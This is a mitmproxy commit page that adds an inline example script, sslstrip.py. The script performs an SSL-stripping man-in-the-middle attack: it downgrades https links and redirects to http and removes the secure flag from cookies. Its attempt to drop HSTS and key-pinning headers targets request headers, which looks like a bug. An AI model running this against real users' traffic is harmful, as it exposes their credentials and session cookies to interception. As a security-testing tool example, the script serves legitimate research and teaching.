diff options
author | Maximilian Hils <git@maximilianhils.com> | 2016-01-13 15:46:31 +0100 |
---|---|---|
committer | Maximilian Hils <git@maximilianhils.com> | 2016-01-13 15:46:31 +0100 |
commit | 0882457b17d637978976066418a6671593955832 (patch) | |
tree | 36c8f06925199d17321e1e95e009bd6d113b2fbb /examples/sslstrip.py | |
parent | aea3837d4ae637af42f716acb27d7ea8394ece35 (diff) | |
parent | 55e89865ff4f87f4c8ad16070a6c2177fcf6fac9 (diff) | |
download | mitmproxy-0882457b17d637978976066418a6671593955832.tar.gz mitmproxy-0882457b17d637978976066418a6671593955832.tar.bz2 mitmproxy-0882457b17d637978976066418a6671593955832.zip |
Merge pull request #882 from tinius/sslstrip
added sslstrip to inline script examples
Diffstat (limited to 'examples/sslstrip.py')
-rw-r--r-- | examples/sslstrip.py | 40 |
1 files changed, 40 insertions, 0 deletions
diff --git a/examples/sslstrip.py b/examples/sslstrip.py new file mode 100644 index 00000000..369427a2 --- /dev/null +++ b/examples/sslstrip.py @@ -0,0 +1,40 @@ +from netlib.http import decoded +import re +from six.moves import urllib + +def start(context, argv) : + + #set of SSL/TLS capable hosts + context.secure_hosts = set() + +def request(context, flow) : + + flow.request.headers.pop('If-Modified-Since', None) + flow.request.headers.pop('Cache-Control', None) + + #proxy connections to SSL-enabled hosts + if flow.request.pretty_host in context.secure_hosts : + flow.request.scheme = 'https' + flow.request.port = 443 + +def response(context, flow) : + + with decoded(flow.response) : + flow.request.headers.pop('Strict-Transport-Security', None) + flow.request.headers.pop('Public-Key-Pins', None) + + #strip links in response body + flow.response.content = flow.response.content.replace('https://', 'http://') + + #strip links in 'Location' header + if flow.response.headers.get('Location','').startswith('https://'): + location = flow.response.headers['Location'] + hostname = urllib.parse.urlparse(location).hostname + if hostname: + context.secure_hosts.add(hostname) + flow.response.headers['Location'] = location.replace('https://', 'http://', 1) + + #strip secure flag from 'Set-Cookie' headers + cookies = flow.response.headers.get_all('Set-Cookie') + cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies] + flow.response.headers.set_all('Set-Cookie', cookies) |